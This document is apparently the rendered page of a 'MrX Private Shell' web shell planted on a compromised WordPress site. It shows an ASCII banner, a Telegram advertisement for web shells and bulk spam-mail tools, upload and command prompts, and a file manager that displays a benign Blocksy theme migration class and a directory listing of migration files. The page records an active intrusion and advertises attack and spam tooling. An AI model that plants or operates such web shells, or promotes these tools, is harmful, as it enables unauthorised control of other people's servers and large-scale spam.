__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy\DbVersioning;

class V2031 {
	public function migrate() {
		$this->migrate_share_box_title();
		$this->migrate_share_box_title_products();
		$this->migrate_post_types_extra_filters();
	}

	public function migrate_share_box_title() {
		$prefixes = blocksy_manager()->screen->get_single_prefixes([
			'has_bbpress' => true,
			'has_buddy_press' => true
		]);

		foreach ($prefixes as $prefix) {
			$has_share_box_title = get_theme_mod(
				$prefix . '_has_share_box_title',
				'no'
			);

			$share_box_title = get_theme_mod(
				$prefix . '_share_box_title',
				__('Share your love', 'blocksy')
			);

			if ($has_share_box_title === 'no') {
				set_theme_mod($prefix . '_share_box_title', '');
			}
		}
	}

	public function migrate_share_box_title_products() {
		$woo_single_layout = get_theme_mod(
			'woo_single_layout',
			[]
		);

		if (! empty($woo_single_layout)) {
			$descriptor = $this->migrate_share_box_in_layout($woo_single_layout);

			if ($descriptor['changed']) {
				set_theme_mod('woo_single_layout', $descriptor['layout']);
			}
		}

		$woo_single_split_layout = get_theme_mod(
			'woo_single_split_layout',
			[
				'left' => [],
				'right' => []
			]
		);

		$split_changed = false;

		if (! empty($woo_single_split_layout['left'])) {
			$descriptor = $this->migrate_share_box_in_layout(
				$woo_single_split_layout['left']
			);

			if ($descriptor['changed']) {
				$split_changed = true;
				$woo_single_split_layout['left'] = $descriptor['layout'];
			}
		}

		if (! empty($woo_single_split_layout['right'])) {
			$descriptor = $this->migrate_share_box_in_layout(
				$woo_single_split_layout['right']
			);

			if ($descriptor['changed']) {
				$split_changed = true;
				$woo_single_split_layout['right'] = $descriptor['layout'];
			}
		}

		if ($split_changed) {
			set_theme_mod('woo_single_split_layout', $woo_single_split_layout);
		}
	}

	public function migrate_share_box_in_layout($layout) {
		$changed = false;

		foreach ($layout as $index => $element) {
			if ($element['id'] !== 'product_sharebox') {
				continue;
			}

			$has_share_box_title = blocksy_akg(
				'has_share_box_title',
				$element,
				'no'
			);

			$share_box_title = get_theme_mod(
				'share_box_title',
				$element,
				__('Share your love', 'blocksy')
			);

			if ($has_share_box_title === 'no') {
				$layout[$index]['share_box_title'] = '';
				$changed = true;
			}
		}

		return [
			'layout' => $layout,
			'changed' => $changed
		];
	}

	public function migrate_post_types_extra_filters() {
		$prefixes = blocksy_manager()->screen->get_archive_prefixes();

		foreach ($prefixes as $prefix) {
			$has_archive_filtering = get_theme_mod(
				$prefix . '_has_archive_filtering',
				'no'
			);

			if ($has_archive_filtering !== 'yes') {
				continue;
			}

			$filter_font_color = get_theme_mod(
				$prefix . '_filter_font_color',
				'__empty__'
			);

			if ($filter_font_color === '__empty__') {
				continue;
			}

			$filter_type = get_theme_mod(
				$prefix . '_filter_type',
				'__empty__'
			);

			if ($filter_type !== 'buttons') {
				continue;
			}

			if (
				isset($filter_font_color['default_2'])
				||
				isset($filter_font_color['hover_2'])
				||
				! isset($filter_font_color['default'])
				||
				! isset($filter_font_color['hover'])
			) {
				continue;
			}

			$filter_font_color['default_2'] = $filter_font_color['default'];
			$filter_font_color['hover_2'] = $filter_font_color['hover'];

			set_theme_mod($prefix . '_filter_font_color', $filter_font_color);
		}
	}
}


Filemanager

Name Type Size Permission Actions
utils Folder 0750
v2-0-0.php File 12.28 KB 0640
v2-0-15.php File 1.19 KB 0640
v2-0-19.php File 1.13 KB 0640
v2-0-2.php File 1.24 KB 0640
v2-0-26.php File 230 B 0640
v2-0-27.php File 205 B 0640
v2-0-3.php File 759 B 0640
v2-0-31.php File 3.46 KB 0640
v2-0-34.php File 778 B 0640
v2-0-36.php File 1.28 KB 0640
v2-0-38.php File 1.35 KB 0640
v2-0-53.php File 632 B 0640
v2-0-60.php File 338 B 0640
v2-0-67.php File 698 B 0640
v2-0-70.php File 179 B 0640
v2-0-72.php File 2.88 KB 0640
v2-0-73.php File 1.2 KB 0640
v2-0-74.php File 347 B 0640
v2-0-75.php File 458 B 0640
v2-0-76.php File 2.21 KB 0640
v2-0-87.php File 2.29 KB 0640
v2-0-9.php File 2.19 KB 0640
v2-0-92.php File 2.38 KB 0640
v2-0-93.php File 745 B 0640
v2-0-94.php File 1005 B 0640
v2-0-96.php File 2.61 KB 0640
v2-1-0.php File 1.41 KB 0640
v2-1-1.php File 1.3 KB 0640
Filemanager